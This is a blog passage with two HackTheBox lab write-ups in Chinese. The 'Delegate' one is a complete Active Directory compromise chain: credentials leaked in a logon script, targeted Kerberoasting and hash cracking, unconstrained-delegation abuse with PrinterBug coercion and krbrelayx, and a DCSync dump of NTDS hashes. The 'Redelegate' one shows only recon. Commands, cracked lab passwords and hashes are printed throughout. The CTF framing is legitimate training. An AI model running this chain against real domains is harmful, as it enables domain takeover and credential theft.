靶机 on wackymaker

Delegate-wp

Mon, 22 Sep 2025 12:28:33 +0800

前期信息收集

初期分析

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Delegate]
└─$ cat hostname 
10.129.234.69     DC1.delegate.vl delegate.vl DC1

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Delegate]
└─$ echo domain=delegate.vl>>start.sh 

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Delegate]
└─$ echo FQDN=DC1.delegate.vl>>start.sh 

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Delegate]
└─$ cat start.sh 
ip=10.129.234.69
domain=delegate.vl
FQDN=DC1.delegate.vl

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Delegate]
└─$ . start.sh

端口扫描,判断为纯正dc

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Delegate]
└─$ cat rustscan.txt 
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
With RustScan, I scan ports so fast, even my firewall gets whiplash 💨

[~] The config file is expected to be at "/home/wackymaker/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. 
Open 10.129.234.69:53
Open 10.129.234.69:88
Open 10.129.234.69:135
Open 10.129.234.69:139
Open 10.129.234.69:389
Open 10.129.234.69:445
Open 10.129.234.69:464
Open 10.129.234.69:593
Open 10.129.234.69:636
Open 10.129.234.69:3269
Open 10.129.234.69:3268
Open 10.129.234.69:3389
Open 10.129.234.69:5985
Open 10.129.234.69:9389

入口

存在匿名share

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Delegate]
└─$ nxc smb "$ip" -u guest -p '' --shares
SMB         10.129.234.69   445    DC1              [*] Windows Server 2022 Build 20348 x64 (name:DC1) (domin:delegate.vl) (signing:True) (SMBv1:False) (Null Auth:True)
SMB         10.129.234.69   445    DC1              [+] delegate.vl\guest:
SMB         10.129.234.69   445    DC1              [*] Enumerated shares
SMB         10.129.234.69   445    DC1              Share           Permissions     Remark
SMB         10.129.234.69   445    DC1              -----           -----------     ------
SMB         10.129.234.69   445    DC1              ADMIN$                          Remote Admin
SMB         10.129.234.69   445    DC1              C$                              Default share
SMB         10.129.234.69   445    DC1              IPC$            READ            Remote IPC
SMB         10.129.234.69   445    DC1              NETLOGON        READ            Logon server share
SMB         10.129.234.69   445    DC1              SYSVOL          READ            Logon server share

查看非初始目录NETLOGON，发现敏感脚本泄露了凭证

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Delegate]
└─$ smbclient //$ip/NETLOGON -N
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Sat Aug 26 08:45:24 2023
  ..                                  D        0  Sat Aug 26 05:45:45 2023
  users.bat                           A      159  Sat Aug 26 08:54:29 2023

		4652287 blocks of size 4096. 984341 blocks available
smb: \> get users.bat 
getting file \users.bat of size 159 as users.bat (0.4 KiloBytes/sec) (average 0.4 KiloBytes/sec)
smb: \> exit

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Delegate]
└─$ cat users.bat 
rem @echo off
net use * /delete /y
net use v: \\dc1\development 

if %USERNAME%==A.Briggs net use h: \\fileserver\backups /user:Administrator P4ssw0rd1#123

凭证权限正确，抓取猎犬

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Delegate]
└─$ echo user=A.Briggs>>start.sh 

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Delegate]
└─$ echo pass='P4ssw0rd1#123'>>start.sh 

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Delegate]
└─$ . start.sh 

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Delegate]
└─$ nxc ldap $ip -u $user -p $pass
LDAP        10.129.234.69   389    DC1              [*] Windows Server 2022 Build 20348 (name:DC1) (domain:delegate.vl) (signing:None) (channel binding:No TLS cert)
LDAP        10.129.234.69   389    DC1              [+] delegate.vl\A.Briggs:P4ssw0rd1#123

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Delegate]
└─$ bloodhound-python -d $domain -c ALL -u $user -p $pass -ns $ip --zip
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: delegate.vl
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: [Errno Connection error (dc1.delegate.vl:88)] [Errno -2] Name or service not known
INFO: Connecting to LDAP server: dc1.delegate.vl
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc1.delegate.vl
INFO: Found 9 users
INFO: Found 53 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC1.delegate.vl
INFO: Done in 00M 17S
INFO: Compressing output into 20250921220229_bloodhound.zip

猎犬的权限很简单，我就口述不贴图了，我们控制的这个用户A.BRIGGS@DELEGATE.VL对N.THOMPSON@DELEGATE.VL这个用户有通用写入权限，并且这个用户在远程管理组，应该就是下一步的路径，没有配置kpinit,直接打靶向kerbresating

首先给其注册服务

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Delegate]
└─$ bloodyAD -d "$domain" --host "$ip" -u "$user" -p "$pass" set object "N.THOMPSON" servicePrincipalName -v 'http/anything'
[+] N.THOMPSON's servicePrincipalName has been updated

同步时间后打kerbresating

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Delegate]
└─$ impacket-GetUserSPNs $domain/$user:$pass -dc-host $FQDN -dc-ip $ip -request
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

ServicePrincipalName  Name        MemberOf                                         PasswordLastSet             LastLogon                   Delegation 
--------------------  ----------  -----------------------------------------------  --------------------------  --------------------------  ----------
http/anything         N.Thompson  CN=delegation admins,CN=Users,DC=delegate,DC=vl  2023-09-09 11:17:16.247262  2023-09-16 03:18:20.238500             



[-] CCache file is not found. Skipping...
$krb5tgs$23$*N.Thompson$DELEGATE.VL$delegate.vl/N.Thompson*$ab77a79521321ac54700c727df347190$b5c30f649f35513d225a34e68354f7f0390e23322c84bb8f6c8c1f3b919ab5de89be685ca3ef73dd53b6c317a4e40bb............5feb2b954815b4ed179c178af25c12310fa2edfdb80f260975610aeada10c73489850734331cff27a185b7bec45fafaa0fc492d0620fc062532f39d02086ef87174eb0feb727ea633b64cd0e3c31c7f9e6256d99df5de1c1b393b88d5350b95182ea6167c263db810bc3e7e914a1c34d51ebdc11f37d20f7c36e871f6b232c120d1d2b887702c6f279b24a5a523107cd8e12cfd1828746e069f7a64d7148fad0f542e4fcbf17cb7dd5b3b6f12cfd8e4aebab39ef494acfe77a484b25f9dc40c23adbf93f4c7f4968a57cc

爆破v2hash

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Delegate]
└─$ echo '$krb5tgs$23$*N.Thompson$DELEGATE.VL$delegate.vl/N.Thompson*$ab77a79521321ac54700c727df347190$b5c30f649f35513d225a34e68354f7f0390e23322c84bb8f6c8c1f3b919ab5de89be685ca3ef73dd53b6c317a4e40bb........4a5a523107cd8e12cfd1828746e069f7a64d7148fad0f542e4fcbf17cb7dd5b3b6f12cfd8e4aebab39ef494acfe77a484b25f9dc40c23adbf93f4c7f4968a57cca76e4fffdc54dd0a80cbd8daf1888b0096a91957307cac2afd0e73c1c2a07ad4feb611ac0900fc79351df45800ebf802674fd2b76449da3f83eece2'>hash

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Delegate]
└─$ hashcat hash /usr/share/wordlists/rockyou.txt 
hashcat (v6.2.6) starting in autodetect mode

OpenCL API (OpenCL 3.0 PoCL 6.0+debian  Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
====================================================================================================================================================
* Device #1: cpu-sandybridge-Intel(R) Core(TM) Ultra 9 185H, 6939/13942 MB (2048 MB allocatable), 8MCU

Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:

13100 | Kerberos 5, etype 23, TGS-REP | Network Protocol

NOTE: Auto-detect is best effort. The correct hash-mode is NOT guaranteed!
Do NOT report auto-detect issues unless you are certain of the hash type.

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt

ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Temperature abort trigger set to 90c

Host memory required for this attack: 2 MB

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

Cracking performance lower than expected?                 

* Append -O to the commandline.
  This lowers the maximum supported password/salt length (usually down to 32).

* Append -w 3 to the commandline.
  This can cause your screen to lag.

* Append -S to the commandline.
  This has a drastic speed impact but can be better for specific attacks.
  Typical scenarios are a small wordlist but a large ruleset.

* Update your backend API runtime / driver the right way:
  https://hashcat.net/faq/wrongdriver

* Create more work items to make use of your parallelization power:
  https://hashcat.net/faq/morework

$krb5tgs$23$*N.Thompson$DELEGATE.VL$delegate.vl/N.Thompson*$ab77a79521321ac54700c727df347190$b5c30f649f35513d225a34e68354f7f0390e23322c84bb8f6c8c1f3b919ab5de89be685ca3ef73dd53b6c317a4e40bb3712f1785ab2fe3e070bbf6788c035f053e6e6d51758879eb0e7199e49740aac4bba8719d312af7dffcd471a152daa3736161f15b22375e3cc0a5a48d589066b9df4a0c16e811da2fe0b4c12df8ed42fbddf1efea66e056946b2c11ac3b4e3128df00f207ab18741d1a9e5362fb4703be2c0e9bd9bae37e8be8f2ed8596c78d81c3f8388341641cf9003。。。。620fc062532f39d02086ef87174eb0feb727ea633b64cd0e3c31c7f9e6256d99df5de1c1b393b88d5350b95182ea6167c263db810bc3e7e914a1c34d51ebdc11f37d20f7c36e871f6b232c120d1d2b887702c6f279b24a5a523107cd8e12cfd1828746e069f7a64d7148fad0f542e4fcbf17cb7dd5b3b6f12cfd8e4aebab39ef494acfe77a484b25f9dc40c23adbf93f4c7f4968a57cca76e4fffdc54dd0a80cbd8daf1888b0096a91957307cac2afd0e73c1c2a07ad4feb611ac0900fc79351df45800ebf802674fd2b76449da3f83eece2:KALEB_2341
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP)
Hash.Target......: $krb5tgs$23$*N.Thompson$DELEGATE.VL$delegate.vl/N.T...3eece2
Time.Started.....: Sun Sep 21 22:14:19 2025 (5 secs)
Time.Estimated...: Sun Sep 21 22:14:24 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:  2302.4 kH/s (1.95ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 11010048/14344385 (76.76%)
Rejected.........: 0/11010048 (0.00%)
Restore.Point....: 11001856/14344385 (76.70%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: KANGOL1 -> Joytjiong1
Hardware.Mon.#1..: Util: 50%

Started: Sun Sep 21 22:14:15 2025
Stopped: Sun Sep 21 22:14:26 2025

获取用户凭证，存在winrm权限

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Delegate]
└─$ echo pass2=KALEB_2341>>start.sh 

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Delegate]
└─$ echo user2=N.Thompson>>start.sh 

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Delegate]
└─$ . start.sh 

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Delegate]
└─$ nxc winrm $ip -u $user2 -p $pass2
WINRM       10.129.234.69   5985   DC1              [*] Windows Server 2022 Build 20348 (name:DC1) (domain:delegate.vl)
WINRM       10.129.234.69   5985   DC1              [+] delegate.vl\N.Thompson:KALEB_2341 (Pwn3d!)

登陆后获得user.txt，就不放出来了

提权

此用户存在特殊权限

evil-winrm-py PS C:\Users\N.Thompson\Documents> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                                                    State  
============================= ============================================================== =======
SeMachineAccountPrivilege     Add workstations to domain                                     Enabled
SeChangeNotifyPrivilege       Bypass traverse checking                                       Enabled
SeEnableDelegationPrivilege   Enable computer and user accounts to be trusted for delegation Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set                                 Enabled

SeEnableDelegationPrivilege这个权限我昨天在博客解析过了，血缇之书中记录过打法

先测试能否进行无约束委派的创建（检测机器用户创建权限）

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Delegate]
└─$ nxc ldap $ip -u $user2 -p $pass2 -M maq
/home/wackymaker/.local/share/pipx/venvs/netexec/lib/python3.13/site-packages/masky/lib/smb.py:6: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools<81.
  from pkg_resources import resource_filename
LDAP        10.129.234.69   389    DC1              [*] Windows Server 2022 Build 20348 (name:DC1) (domain:delegate.vl) (signing:None) (channel binding:No TLS cert)
LDAP        10.129.234.69   389    DC1              [+] delegate.vl\N.Thompson:KALEB_2341 
MAQ         10.129.234.69   389    DC1              [*] Getting the MachineAccountQuota
MAQ         10.129.234.69   389    DC1              MachineAccountQuota: 10

中继触发流程也正常

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Delegate]
└─$ nxc smb $ip -u $user2 -p $pass2 -M coerce_plus 
/home/wackymaker/.local/share/pipx/venvs/netexec/lib/python3.13/site-packages/masky/lib/smb.py:6: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools<81.
  from pkg_resources import resource_filename
SMB         10.129.234.69   445    DC1              [*] Windows Server 2022 Build 20348 x64 (name:DC1) (domin:delegate.vl) (signing:True) (SMBv1:False) (Null Auth:True)
SMB         10.129.234.69   445    DC1              [+] delegate.vl\N.Thompson:KALEB_2341 
COERCE_PLUS 10.129.234.69   445    DC1              VULNERABLE, DFSCoerce
COERCE_PLUS 10.129.234.69   445    DC1              VULNERABLE, PetitPotam
COERCE_PLUS 10.129.234.69   445    DC1              VULNERABLE, PrinterBug
COERCE_PLUS 10.129.234.69   445    DC1              VULNERABLE, PrinterBug
COERCE_PLUS 10.129.234.69   445    DC1              VULNERABLE, MSEven

创建机器用户，并转录密码为hash方便下一步攻击

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Delegate]
└─$ impacket-addcomputer -computer-name FS01 -computer-pass 'wackwack1$' -dc-ip $ip $domain/$user2:$pass2
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Successfully added machine account FS01$ with password wackwack1$.

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Delegate]
└─$ iconv -f ASCII -t UTF-16LE <(printf 'wackwack1$') | openssl dgst -md4
MD4(stdin)= 58826d80a57b1527e373616eec499b06

修改创建机器用户的dns记录导向我们的kali

┌──(wackymaker㉿kali)-[~/tools/ad-tools/krbrelayx/krbrelayx-master]
└─$ python3 dnstool.py -u 'delegate.vl\FS01$' -p 'wackwack1$' --action add --record FS01.delegate.vl --data 10.10.16.23 --type A -dns-ip 10.129.6.221 DC1.delegate.vl
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Adding new record
[+] LDAP operation completed successfully

配置spn

┌──(wackymaker㉿kali)-[~/tools/ad-tools/krbrelayx/krbrelayx-master]
└─$ python3 addspn.py -u 'delegate.vl\FS01$' -p 'wackwack1$' -s 'cifs/FS01.delegate.vl' -t FS01$ -dc-ip 10.129.6.221 DC1.delegate.vl --additional
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[+] Found modification target
[+] SPN Modified successfully

┌──(wackymaker㉿kali)-[~/tools/ad-tools/krbrelayx/krbrelayx-master]
└─$ python3 addspn.py -u 'delegate.vl\FS01$' -p 'wackwack1$' -s 'cifs/FS01.delegate.vl' -t FS01$ -dc-ip 10.129.6.221 DC1.delegate.vl
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[+] Found modification target
[+] SPN Modified successfully

利用bloodyad配置无约束委派

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Delegate]
└─$ bloodyAD -d $domain -u $user2 -p $pass2 --host $FQDN add uac 'FS01$' -f TRUSTED_FOR_DELEGATION
[-] ['TRUSTED_FOR_DELEGATION'] property flags added to FS01$'s userAccountControl

启动中继监听

┌──(wackymaker㉿kali)-[~/tools/ad-tools/krbrelayx/krbrelayx-master]
└─$ python3 krbrelayx.py -hashes :58826d80a57b1527e373616eec499b06
/home/wackymaker/tools/ad-tools/krbrelayx/krbrelayx-master/lib/servers/smbrelayserver.py:429: SyntaxWarning: invalid escape sequence '\%'
  LOG.error("Authenticating against %s://%s as %s\%s FAILED" % (
/home/wackymaker/tools/ad-tools/krbrelayx/krbrelayx-master/lib/servers/smbrelayserver.py:441: SyntaxWarning: invalid escape sequence '\%'
  LOG.info("Authenticating against %s://%s as %s\%s SUCCEED" % (
/home/wackymaker/tools/ad-tools/krbrelayx/krbrelayx-master/lib/servers/smbrelayserver.py:516: SyntaxWarning: invalid escape sequence '\%'
  LOG.info("Authenticating against %s://%s as %s\%s SUCCEED" % (
[*] Protocol Client LDAP loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client SMB loaded..
[*] Running in export mode (all tickets will be saved to disk). Works with unconstrained delegation attack only.
[*] Running in unconstrained delegation abuse mode using the specified credentials.
[*] Setting up SMB Server
[*] Setting up HTTP Server on port 80

[*] Setting up DNS Server
[*] Servers started, waiting for connections

在另外一边触发一个可用强制认证

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Delegate]
└─$ nxc smb $ip -u "FS01$" -p 'wackwack1$' -M coerce_plus -o LISTENER=FS01.$domain METHOD=PrinterBug
/home/wackymaker/.local/share/pipx/venvs/netexec/lib/python3.13/site-packages/masky/lib/smb.py:6: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools<81.
  from pkg_resources import resource_filename
SMB         10.129.6.221    445    DC1              [*] Windows Server 2022 Build 20348 x64 (name:DC1) (domin:delegate.vl) (signing:True) (SMBv1:False) (Null Auth:True)
SMB         10.129.6.221    445    DC1              [+] delegate.vl\FS01$:wackwack1$ 
COERCE_PLUS 10.129.6.221    445    DC1              VULNERABLE, PrinterBug
COERCE_PLUS 10.129.6.221    445    DC1              Exploit Success, spoolss\RpcRemoteFindFirstPrinterChangeNotificationEx

成功触发后，监听器出现回显

*] Servers started, waiting for connections
[*] SMBD: Received connection from 10.129.3.28
[*] Got ticket for DC1$@DELEGATE.VL [krbtgt@DELEGATE.VL]
[*] Saving ticket in DC1$@DELEGATE.VL_krbtgt@DELEGATE.VL.ccache
[*] SMBD: Received connection from 10.129.3.28
[-] Unsupported MechType 'NTLMSSP - Microsoft NTLM Security Support Provider'
[*] SMBD: Received connection from 10.129.3.28
[-] Unsupported MechType 'NTLMSSP - Microsoft NTLM Security Support Provider'

成功截获tgt

直接利用票据打dcsync获取管理hash即可

KRB5CCNAME=DC1\$@DELEGATE.VL_krbtgt@DELEGATE.VL.ccache netexec smb dc1.delegate.vl --use-kcache --ntds
SMB         dc1.delegate.vl 445    DC1              [*] Windows Server 2022 Build 20348 x64 (name:DC1) (domain:delegate.vl) (signing:True) (SMBv1:False) (Null Auth:True) (Guest Auth:True)
SMB         dc1.delegate.vl 445    DC1              [+] DELEGATE.VL\DC1$ from ccache 
SMB         dc1.delegate.vl 445    DC1              [-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied 
SMB         dc1.delegate.vl 445    DC1              [+] Dumping the NTDS, this could take a while so go grab a redbull...
SMB         dc1.delegate.vl 445    DC1              Administrator:500:aad3b435b51404eeaad3b435b51404ee:c32198ceab4cc695e65045562aa3ee93:::
SMB         dc1.delegate.vl 445    DC1              Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB         dc1.delegate.vl 445    DC1              krbtgt:502:aad3b435b51404eeaad3b435b51404ee:54999c1daa89d35fbd2e36d01c4a2cf2:::
SMB         dc1.delegate.vl 445    DC1              A.Briggs:1104:aad3b435b51404eeaad3b435b51404ee:8e5a0462f96bc85faf20378e243bc4a3:::
SMB         dc1.delegate.vl 445    DC1              b.Brown:1105:aad3b435b51404eeaad3b435b51404ee:deba71222554122c3634496a0af085a6:::
SMB         dc1.delegate.vl 445    DC1              R.Cooper:1106:aad3b435b51404eeaad3b435b51404ee:17d5f7ab7fc61d80d1b9d156f815add1:::
SMB         dc1.delegate.vl 445    DC1              J.Roberts:1107:aad3b435b51404eeaad3b435b51404ee:4ff255c7ff10d86b5b34b47adc62114f:::
SMB         dc1.delegate.vl 445    DC1              N.Thompson:1108:aad3b435b51404eeaad3b435b51404ee:4b514595c7ad3e2f7bb70e7e61ec1afe:::
SMB         dc1.delegate.vl 445    DC1              DC1$:1000:aad3b435b51404eeaad3b435b51404ee:f7caf5a3e44bac110b9551edd1ddfa3c:::
SMB         dc1.delegate.vl 445    DC1              [+] Dumped 11 NTDS hashes to /home/oxdf/.nxc/logs/ntds/dc1.delegate.vl_None_2025-09-12_133554.ntds of which 8 were added to the database
SMB         dc1.delegate.vl 445    DC1              [*] To extract only enabled accounts from the output file, run the following command: 
SMB         dc1.delegate.vl 445    DC1              [*] cat /home/oxdf/.nxc/logs/ntds/dc1.delegate.vl_None_2025-09-12_133554.ntds | grep

之后hash登陆即可

Redelegate-wp

Sun, 21 Sep 2025 16:18:24 +0800

前期收集

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Redelegate]
└─$ ls
hostname  krb5.conf  rust.txt  start.sh

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Redelegate]
└─$ cat rust.txt 
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
TreadStone was here 🚀

[~] The config file is expected to be at "/home/wackymaker/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. 
Open 10.129.234.50:21
Open 10.129.234.50:53
Open 10.129.234.50:80
Open 10.129.234.50:88
Open 10.129.234.50:135
Open 10.129.234.50:139
Open 10.129.234.50:389
Open 10.129.234.50:445
Open 10.129.234.50:464
Open 10.129.234.50:593
Open 10.129.234.50:636
Open 10.129.234.50:1433
Open 10.129.234.50:3268
Open 10.129.234.50:3269
Open 10.129.234.50:3389
Open 10.129.234.50:5985
Open 10.129.234.50:9389
Open 10.129.234.50:47001
Open 10.129.234.50:49664
Open 10.129.234.50:49665
Open 10.129.234.50:49667
Open 10.129.234.50:49666
Open 10.129.234.50:49668
Open 10.129.234.50:49932
Open 10.129.234.50:57719
Open 10.129.234.50:58976
Open 10.129.234.50:58975
Open 10.129.234.50:58979
Open 10.129.234.50:58983
Open 10.129.234.50:58995
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-21 01:09 EDT
Initiating Ping Scan at 01:09
Scanning 10.129.234.50 [4 ports]
Completed Ping Scan at 01:09, 0.09s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 01:09
Completed Parallel DNS resolution of 1 host. at 01:09, 2.02s elapsed
DNS resolution of 1 IPs took 2.02s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 01:09
Scanning 10.129.234.50 [30 ports]
Discovered open port 135/tcp on 10.129.234.50
Discovered open port 445/tcp on 10.129.234.50
Discovered open port 53/tcp on 10.129.234.50
Discovered open port 80/tcp on 10.129.234.50
Discovered open port 3389/tcp on 10.129.234.50
Discovered open port 139/tcp on 10.129.234.50
Discovered open port 21/tcp on 10.129.234.50
Discovered open port 389/tcp on 10.129.234.50
Discovered open port 49664/tcp on 10.129.234.50
Discovered open port 9389/tcp on 10.129.234.50
Discovered open port 49667/tcp on 10.129.234.50
Discovered open port 57719/tcp on 10.129.234.50
Discovered open port 58995/tcp on 10.129.234.50
Discovered open port 47001/tcp on 10.129.234.50
Discovered open port 88/tcp on 10.129.234.50
Discovered open port 58979/tcp on 10.129.234.50
Discovered open port 49932/tcp on 10.129.234.50
Discovered open port 49666/tcp on 10.129.234.50
Discovered open port 464/tcp on 10.129.234.50
Discovered open port 593/tcp on 10.129.234.50
Discovered open port 3268/tcp on 10.129.234.50
Discovered open port 58975/tcp on 10.129.234.50
Discovered open port 1433/tcp on 10.129.234.50
Discovered open port 636/tcp on 10.129.234.50
Discovered open port 58976/tcp on 10.129.234.50
Discovered open port 49668/tcp on 10.129.234.50
Discovered open port 5985/tcp on 10.129.234.50
Discovered open port 58983/tcp on 10.129.234.50
Discovered open port 3269/tcp on 10.129.234.50
Discovered open port 49665/tcp on 10.129.234.50
Completed SYN Stealth Scan at 01:09, 0.27s elapsed (30 total ports)
Nmap scan report for 10.129.234.50
Host is up, received echo-reply ttl 127 (0.12s latency).
Scanned at 2025-09-21 01:09:36 EDT for 0s

PORT      STATE SERVICE          REASON
21/tcp    open  ftp              syn-ack ttl 127
53/tcp    open  domain           syn-ack ttl 127
80/tcp    open  http             syn-ack ttl 127
88/tcp    open  kerberos-sec     syn-ack ttl 127
135/tcp   open  msrpc            syn-ack ttl 127
139/tcp   open  netbios-ssn      syn-ack ttl 127
389/tcp   open  ldap             syn-ack ttl 127
445/tcp   open  microsoft-ds     syn-ack ttl 127
464/tcp   open  kpasswd5         syn-ack ttl 127
593/tcp   open  http-rpc-epmap   syn-ack ttl 127
636/tcp   open  ldapssl          syn-ack ttl 127
1433/tcp  open  ms-sql-s         syn-ack ttl 127
3268/tcp  open  globalcatLDAP    syn-ack ttl 127
3269/tcp  open  globalcatLDAPssl syn-ack ttl 127
3389/tcp  open  ms-wbt-server    syn-ack ttl 127
5985/tcp  open  wsman            syn-ack ttl 127
9389/tcp  open  adws             syn-ack ttl 127
47001/tcp open  winrm            syn-ack ttl 127
49664/tcp open  unknown          syn-ack ttl 127
49665/tcp open  unknown          syn-ack ttl 127
49666/tcp open  unknown          syn-ack ttl 127
49667/tcp open  unknown          syn-ack ttl 127
49668/tcp open  unknown          syn-ack ttl 127
49932/tcp open  unknown          syn-ack ttl 127
57719/tcp open  unknown          syn-ack ttl 127
58975/tcp open  unknown          syn-ack ttl 127
58976/tcp open  unknown          syn-ack ttl 127
58979/tcp open  unknown          syn-ack ttl 127
58983/tcp open  unknown          syn-ack ttl 127
58995/tcp open  unknown          syn-ack ttl 127

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 2.49 seconds
           Raw packets sent: 34 (1.472KB) | Rcvd: 31 (1.348KB)


┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Redelegate]
└─$ cat hostname 
10.129.234.50     DC.redelegate.vl redelegate.vl DC

对于一台域控来说不常见端口有ftp和http,http页面是默认的iis页面，我准备最后再来研究它（需要的话）

匿名smb,ldap，rpc都权限不足

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Redelegate]
└─$ nxc smb "$ip" -u guest -p '' --shares
SMB         10.129.234.50   445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domin:redelegate.vl) (signing:True) (SMBv1:False) (Null Auth:True)
SMB         10.129.234.50   445    DC               [-] redelegate.vl\guest: SessionError 

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Redelegate]
└─$ rpcclient -U "" -N $ip
rpcclient $> enumdomusers
result was NT_STATUS_ACCESS_DENIED
rpcclient $> nxc ldap $ip -u "" -p "" --users
command not found: nxc
rpcclient $> exit

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Redelegate]
└─$ nxc ldap $ip -u "" -p "" --users
LDAP        10.129.234.50   389    DC               [*] Windows Server 2022 Build 20348 (name:DC) (domain:redelegate.vl) (signing:None) (channel binding:No TLS cert)
LDAP        10.129.234.50   389    DC               [-] Error in searchRequest -> operationsError: 000004DC: LdapErr: DSID-0C090DA9, comment: In order to perform this operation a successful bind must be completed on the connection., data 0, v4f7c
LDAP        10.129.234.50   389    DC               [+] redelegate.vl\: 
